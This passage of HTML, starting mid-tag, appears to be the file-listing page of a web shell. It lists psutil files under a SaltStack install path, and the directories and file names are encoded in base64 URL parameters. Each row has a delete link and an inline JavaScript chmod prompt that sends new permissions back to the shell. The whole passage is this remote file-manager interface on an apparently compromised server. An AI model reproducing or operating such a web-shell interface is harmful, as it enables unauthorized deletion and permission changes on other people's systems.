onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L29wdC9zYWx0c3RhY2svc2FsdC9saWIvcHl0aG9uMy4xMC9zaXRlLXBhY2thZ2VzL3BzdXRpbA==&f=X3BzYnNkLnB5&c=`+btoa(c):0" value="0644"></td><td>29263</td></tr><tr><td><a href="?d=L29wdC9zYWx0c3RhY2svc2FsdC9saWIvcHl0aG9uMy4xMC9zaXRlLXBhY2thZ2VzL3BzdXRpbA==&x=X3BzbGludXgucHk=">X</a></td><td><a href="?d=L29wdC9zYWx0c3RhY2svc2FsdC9saWIvcHl0aG9uMy4xMC9zaXRlLXBhY2thZ2VzL3BzdXRpbA==&f=X3BzbGludXgucHk="/>_pslinux.py</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L29wdC9zYWx0c3RhY2svc2FsdC9saWIvcHl0aG9uMy4xMC9zaXRlLXBhY2thZ2VzL3BzdXRpbA==&f=X3BzbGludXgucHk=&c=`+btoa(c):0" value="0644"></td><td>84787</td></tr><tr><td><a href="?d=L29wdC9zYWx0c3RhY2svc2FsdC9saWIvcHl0aG9uMy4xMC9zaXRlLXBhY2thZ2VzL3BzdXRpbA==&x=X3Bzb3N4LnB5">X</a></td><td><a href="?d=L29wdC9zYWx0c3RhY2svc2FsdC9saWIvcHl0aG9uMy4xMC9zaXRlLXBhY2thZ2VzL3BzdXRpbA==&f=X3Bzb3N4LnB5"/>_psosx.py</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L29wdC9zYWx0c3RhY2svc2FsdC9saWIvcHl0aG9uMy4xMC9zaXRlLXBhY2thZ2VzL3BzdXRpbA==&f=X3Bzb3N4LnB5&c=`+btoa(c):0" value="0644"></td><td>15913</td></tr><tr><td><a href="?d=L29wdC9zYWx0c3RhY2svc2FsdC9saWIvcHl0aG9uMy4xMC9zaXRlLXBhY2thZ2VzL3BzdXRpbA==&x=X3BzcG9zaXgucHk=">X</a></td><td><a href="?d=L29wdC9zYWx0c3RhY2svc2FsdC9saWIvcHl0aG9uMy4xMC9zaXRlLXBhY2thZ2VzL3BzdXRpbA==&f=X3BzcG9zaXgucHk="/>_psposix.py</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L29wdC9zYWx0c3RhY2svc2FsdC9saWIvcHl0aG9uMy4xMC9zaXRlLXBhY2thZ2VzL3BzdXRpbA==&f=X3BzcG9zaXgucHk=&c=`+btoa(c):0" value="0644"></td><td>11575</td></tr><tr><td><a href="?d=L29wdC9zYWx0c3RhY2svc2FsdC9saWIvcHl0aG9uMy4xMC9zaXRlLXBhY2thZ2VzL3BzdXRpbA==&x=X3Bzc3Vub3MucHk=">X</a></td><td><a href="?d=L29wdC9zYWx0c3RhY2svc2FsdC9saWIvcHl0aG9uMy4xMC9zaXRlLXBhY2thZ2VzL3BzdXRpbA==&f=X3Bzc3Vub3MucHk="/>_pssunos.py</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L29wdC9zYWx0c3RhY2svc2FsdC9saWIvcHl0aG9uMy4xMC9zaXRlLXBhY2thZ2VzL3BzdXRpbA==&f=X3Bzc3Vub3MucHk=&c=`+btoa(c):0" value="0644"></td><td>23934</td></tr><tr><td><a href="?d=L29wdC9zYWx0c3RhY2svc2FsdC9saWIvcHl0aG9uMy4xMC9zaXRlLXBhY2thZ2VzL3BzdXRpbA==&x=X3BzdXRpbF9saW51eC5hYmkzLnNv">X</a></td><td><a href="?d=L29wdC9zYWx0c3RhY2svc2FsdC9saWIvcHl0aG9uMy4xMC9zaXRlLXBhY2thZ2VzL3BzdXRpbA==&f=X3BzdXRpbF9saW51eC5hYmkzLnNv"/>_psutil_linux.abi3.so</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L29wdC9zYWx0c3RhY2svc2FsdC9saWIvcHl0aG9uMy4xMC9zaXRlLXBhY2thZ2VzL3BzdXRpbA==&f=X3BzdXRpbF9saW51eC5hYmkzLnNv&c=`+btoa(c):0" value="0644"></td><td>32176</td></tr><tr><td><a href="?d=L29wdC9zYWx0c3RhY2svc2FsdC9saWIvcHl0aG9uMy4xMC9zaXRlLXBhY2thZ2VzL3BzdXRpbA==&x=X3Bzd2luZG93cy5weQ==">X</a></td><td><a href="?d=L29wdC9zYWx0c3RhY2svc2FsdC9saWIvcHl0aG9uMy4xMC9zaXRlLXBhY2thZ2VzL3BzdXRpbA==&f=X3Bzd2luZG93cy5weQ=="/>_pswindows.py</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L29wdC9zYWx0c3RhY2svc2FsdC9saWIvcHl0aG9uMy4xMC9zaXRlLXBhY2thZ2VzL3BzdXRpbA==&f=X3Bzd2luZG93cy5weQ==&c=`+btoa(c):0" value="0644"></td><td>35370</td></tr></table>